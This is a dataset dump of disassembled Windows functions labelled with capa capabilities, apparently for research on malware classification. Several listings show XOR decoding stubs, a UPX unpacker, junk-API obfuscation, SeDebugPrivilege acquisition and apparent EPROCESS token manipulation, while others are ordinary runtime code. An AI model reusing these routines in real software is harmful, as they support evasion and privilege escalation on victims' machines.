joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032ef
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x49cb78], 0x400
push edi
jne 0x403341
push esi
push esi
call fcn.004036e6
push esi
push esi
call fcn.004036e6
push esi
push esi
push esi
call fcn.00403f80
add esp, 0x14
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00402ce2
fstp st(0)
push esi
call fcn.00404005
pop ecx
push esi
call fcn.00403d97
pop ecx
mov eax, dword [0x492b34]
mov dword [0x49cb78], eax
mov eax, dword [0x492b0c]
mov dword [0x49cb7c], eax
call fcn.00402fd3
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x4033a8
cmp dword [esp + 0x18], 0x785074d5
jne 0x4033b6
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x403363
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x402b6c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402ba8
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x4033e5
cmp dword [esp + 0x18], 0x785074d5
jne 0x4033ee
inc edi
cmp edi, 0x11915
jl 0x4033b8
mov eax, dword [0x49bac8]
mov dword [0x49c10c], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404970
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4910d8]
jne 0x40497a
repz ret
jmp fcn.00408d4a
Function at 0x408a05
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405bcc
and dword [ebp - 4], 0
cmp dword [0x4933b8], 0
mov ebx, eax
jne 0x408ab6
push 0x401b18
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408b67
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b0c
push edi
call esi
test eax, eax
je 0x408b67
push eax
call fcn.00405b5a
mov dword [esp], 0x401afc
push edi
mov dword [0x4933b8], eax
call esi
push eax
call fcn.00405b5a
mov dword [esp], 0x401ae8
push edi
mov dword [0x4933bc], eax
call esi
push eax
call fcn.00405b5a
mov dword [esp], 0x401acc
push edi
mov dword [0x4933c0], eax
call esi
push eax
call fcn.00405b5a
pop ecx
mov dword [0x4933c8], eax
test eax, eax
je 0x408ab6
push 0x401ab4
push edi
call esi
push eax
call fcn.00405b5a
pop ecx
mov dword [0x4933c4], eax
mov eax, dword [0x4933c4]
cmp eax, ebx
je 0x408b0e
cmp dword [0x4933c8], ebx
je 0x408b0e
push eax
call fcn.00405bd5
push dword [0x4933c8]
mov esi, eax
call fcn.00405bd5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408b0e
test edi, edi
je 0x408b0e
call esi
test eax, eax
je 0x408b05
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408b05
test byte [ebp - 0xc], 1
jne 0x408b0e
or dword [ebp + 0x10], 0x200000
jmp 0x408b47
mov eax, dword [0x4933bc]
cmp eax, ebx
je 0x408b47
push eax
call fcn.00405bd5
pop ecx
test eax, eax
je 0x408b47
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408b47
mov eax, dword [0x4933c0]
cmp eax, ebx
je 0x408b47
push eax
call fcn.00405bd5
pop ecx
test eax, eax
je 0x408b47
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4933b8]
call fcn.00405bd5
pop ecx
test eax, eax
je 0x408b67
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408b69
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012b4
Capabilities:
Delete directory
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
push 0
push 0x63
push 0x2a
push 0x15
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
jmp 0x40132b
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0xcfb
jge 0x40133f
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x401322
push 0x40
mov ebx, 0x1000
push ebx
mov eax, 0x1400
push eax
push 0
push str.wr4564452345353hjsfds
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jbe 0x40138e
mov edx, dword [ebp - 0x2c]
xor eax, 0
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [ebp - 0xc]
mov dword [0x40f3c8], eax
mov dword [ebp + 8], 0x27
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jne 0x4013b1
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0
push 0
call sub.WinSCard.dll_SCardForgetCardTypeW
mov eax, 0xa
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4022cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40f018
cmp edx, dword [eax]
je 0x4022ef
add eax, 8
inc ecx
cmp eax, 0x40f0a8
jl 0x4022e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40f018]
jne 0x40241d
mov eax, dword [0x40f3dc]
cmp eax, 1
je 0x4023f7
test eax, eax
jne 0x402320
cmp dword [0x40ef6c], 1
je 0x4023f7
cmp edx, 0xfc
je 0x40241d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402357
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403710
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403800
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40239a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403800
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405ba0
push edi
call fcn.00403910
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403710
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403720
lea eax, [ebp - 0xa0]
push 0x405b80
push eax
call fcn.00403720
push dword [esi + 0x40f01c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403720
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040387b
add esp, 0x2c
pop edi
jmp 0x40241d
lea eax, [ebp + 8]
lea esi, [esi + 0x40f01c]
push 0
push eax
push dword [esi]
call fcn.00403800
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x4022cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40f018
cmp edx, dword [eax]
je 0x4022ef
add eax, 8
inc ecx
cmp eax, 0x40f0a8
jl 0x4022e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40f018]
jne 0x40241d
mov eax, dword [0x40f3dc]
cmp eax, 1
je 0x4023f7
test eax, eax
jne 0x402320
cmp dword [0x40ef6c], 1
je 0x4023f7
cmp edx, 0xfc
je 0x40241d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402357
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403710
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403800
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40239a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403800
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405ba0
push edi
call fcn.00403910
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403710
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403720
lea eax, [ebp - 0xa0]
push 0x405b80
push eax
call fcn.00403720
push dword [esi + 0x40f01c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403720
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040387b
add esp, 0x2c
pop edi
jmp 0x40241d
lea eax, [ebp + 8]
lea esi, [esi + 0x40f01c]
push 0
push eax
push dword [esi]
call fcn.00403800
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1c24e20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16f0000]
push edi
jmp 0x1c24e3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1c24e41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1c24e30
mov eax, 1
add ebx, ebx
jne 0x1c24e53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1c24e64
jne 0x1c24e83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1c24e83
dec eax
add ebx, ebx
jne 0x1c24e70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1c24e48
add ebx, ebx
jne 0x1c24e7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1c24ed5
xor ecx, ecx
sub eax, 3
jb 0x1c24e9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1c24f0a
sar eax, 1
mov ebp, eax
jmp 0x1c24ea6
add ebx, ebx
jne 0x1c24ea6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1c24e74
inc ecx
add ebx, ebx
jne 0x1c24eb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1c24e74
add ebx, ebx
jne 0x1c24ec1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1c24eb6
jne 0x1c24ed2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1c24eb6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1c24ef4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1c24ee6
jmp 0x1c24e36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1c24ef4
add edi, ecx
jmp 0x1c24e36
pop esi
mov edi, esi
mov ecx, 0x489a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1c24f12
cmp byte [edi], 0x12
jne 0x1c24f12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1c24f17
lea edi, [esi + 0x180f000]
mov eax, dword [edi]
or eax, eax
je 0x1c24f8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18287e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x182893c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1c24f44
mov ecx, edi
jns 0x1c24f73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1828940]
or eax, eax
je 0x1c24f89
mov dword [ebx], eax
add ebx, 4
jmp 0x1c24f61
call dword [esi + 0x1828950]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1c24fc0
cmp al, 0xef
ja 0x1c24fb3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1c24f95
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1c24fa2
mov ebp, dword [esi + 0x1828944]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1c24ff4
sub esp, 0xffffff80
jmp 0x5270ea
Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..3ean
nop
mov ebx, 0x40915c
nop
mov ecx, 0x447c4477
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
mov eax, section..7LWLf
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x6a3a167e
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401320
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42a044]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0x134], ax
mov dword [ebp - 0x130], 0
push 0x118
push 0
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00417b10
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40141a
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 8], ecx
mov dx, word [ebp - 0x1c]
mov word [ebp - 0x134], dx
cmp dword [ebp - 0xc], 5
jne 0x4013cc
cmp dword [ebp - 8], 0
jne 0x4013cc
movzx eax, word [ebp - 0x134]
cmp eax, 4
jl 0x4013cc
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 5
jne 0x4013df
cmp dword [ebp - 8], 2
jne 0x4013df
mov dword [ebp - 4], 2
cmp dword [ebp - 0xc], 5
jne 0x4013f8
cmp dword [ebp - 8], 2
jae 0x4013f1
cmp dword [ebp - 8], 1
jne 0x4013f8
mov dword [ebp - 4], 3
cmp dword [ebp - 0xc], 6
jne 0x40141a
cmp dword [ebp - 8], 0
jne 0x40140d
mov dword [ebp - 4], 4
jmp 0x40141a
cmp dword [ebp - 8], 1
jne 0x40141a
mov dword [ebp - 4], 5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410ac5
mov esp, ebp
pop ebp
ret

Function at 0x4018e0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], 0xffffffff
push 0
push 0
push 3
push 0
push 3
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40191e
or eax, 0xffffffff
or edx, 0xffffffff
jmp 0x40194d
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x40193d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401ec0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x42a044]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x138], 0x114
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x134], 5
jne 0x401f62
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x140], ecx
cmp dword [ebp - 0x140], 0
je 0x401f1c
cmp dword [ebp - 0x140], 1
je 0x401f2c
cmp dword [ebp - 0x140], 2
je 0x401f49
jmp 0x401f59
mov dword [ebp - 0xc], 0xa0
mov dword [ebp - 0x10], 0xa4
jmp 0x401f60
push 0x427c84
call fcn.00411509
add esp, 4
mov dword [ebp - 0xc], 0x88
mov dword [ebp - 0x10], 0x8c
jmp 0x401f60
mov dword [ebp - 0xc], 0x8a
mov dword [ebp - 0x10], 0x8e
jmp 0x401f60
xor eax, eax
jmp 0x4020aa
jmp 0x401f94
cmp dword [ebp - 0x134], 4
jne 0x401f8d
cmp dword [ebp - 0x130], 0
jne 0x401f8d
cmp dword [ebp - 0x128], 2
jne 0x401f8d
mov dword [ebp - 0xc], 0x98
mov dword [ebp - 0x10], 0x9c
jmp 0x401f94
xor eax, eax
jmp 0x4020aa
mov dword [ebp - 8], 0xffffffff
mov edx, dword [ebp + 8]
push edx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401fbc
xor eax, eax
jmp 0x4020aa
mov eax, dword [ebp + 8]
push eax
call fcn.00401d00
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401fd8
xor eax, eax
jmp 0x4020aa
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
push str.process_id__u
call fcn.00411509
add esp, 8
mov edx, dword [ebp - 4]
push edx
push str.pEprocess__u
call fcn.00411509
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.004112ac
add esp, 4
push str.ReadVirtualMemory
call fcn.00411509
add esp, 4
push 4
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
push eax
call fcn.00401e30
add esp, 0xc
test eax, eax
je 0x40209e
push 4
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
push edx
call fcn.00401e30
add esp, 0xc
test eax, eax
je 0x40209c
push 4
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
add ecx, 4
push ecx
call fcn.00401e70
add esp, 0xc
test eax, eax
je 0x40209c
push 4
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.00401e70
add esp, 0xc
test eax, eax
je 0x40209c
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x4020aa
jmp 0x4020aa
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00410ac5
mov esp, ebp
pop ebp
ret
Function at 0x4020c0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4020f5
push 1
push str.SeDebugPrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401bb0
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x402105
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4038b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x42a044]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0x2c], ax
xor ecx, ecx
mov dword [ebp - 0x2a], ecx
mov dword [ebp - 0x26], ecx
mov dword [ebp - 0x22], ecx
mov dword [ebp - 0x1e], ecx
mov dword [ebp - 0x1a], ecx
mov dword [ebp - 0x16], ecx
mov dword [ebp - 0x12], ecx
mov word [ebp - 0xe], cx
push 0x68
push 0
lea edx, [ebp - 0x98]
push edx
call fcn.00417b10
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
push 0x20
lea ecx, [ebp - 0x98]
push ecx
call fcn.00410b00
add esp, 0xc
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x34], edx
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00401070
add esp, 8
lea edx, [ebp - 0x2c]
push edx
push 0x10
lea eax, [ebp - 0x56]
push eax
call fcn.00410b00
add esp, 0xc
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], 0
jmp 0x403969
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0xa0], edx
cmp dword [ebp - 0xa0], 0x68
jae 0x403993
mov eax, dword [ebp - 0x9c]
add eax, dword [ebp - 0xa0]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp - 0x9c]
add edx, dword [ebp - 0xa0]
mov byte [edx], cl
jmp 0x40395a
push 0x42790c
mov eax, dword [ebp + 8]
push eax
call fcn.00410c35
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4039b1
jmp 0x4039cf
mov ecx, dword [ebp - 8]
push ecx
push 0x68
push 1
mov edx, dword [ebp - 0x9c]
push edx
call fcn.00411db8
add esp, 0x10
mov dword [ebp - 4], 1
cmp dword [ebp - 8], 0
je 0x4039e1
mov eax, dword [ebp - 8]
push eax
call fcn.00410d16
add esp, 4
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00410ac5
mov esp, ebp
pop ebp
ret

Function at 0x403a00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403a58
mov edx, dword [ebp + 8]
push edx
call fcn.004018e0
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
jne 0x403a58
mov dword [ebp - 0xc], 1
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 0
jne 0x403ac6
push 0x200000
call fcn.00411306
add esp, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x200000
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402130
add esp, 0x10
test eax, eax
je 0x403aba
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00408f60
add esp, 0xc
cmp eax, 1
jne 0x403ab3
mov dword [ebp - 4], 1
jmp 0x403aba
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x30]
push edx
call fcn.0041147b
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret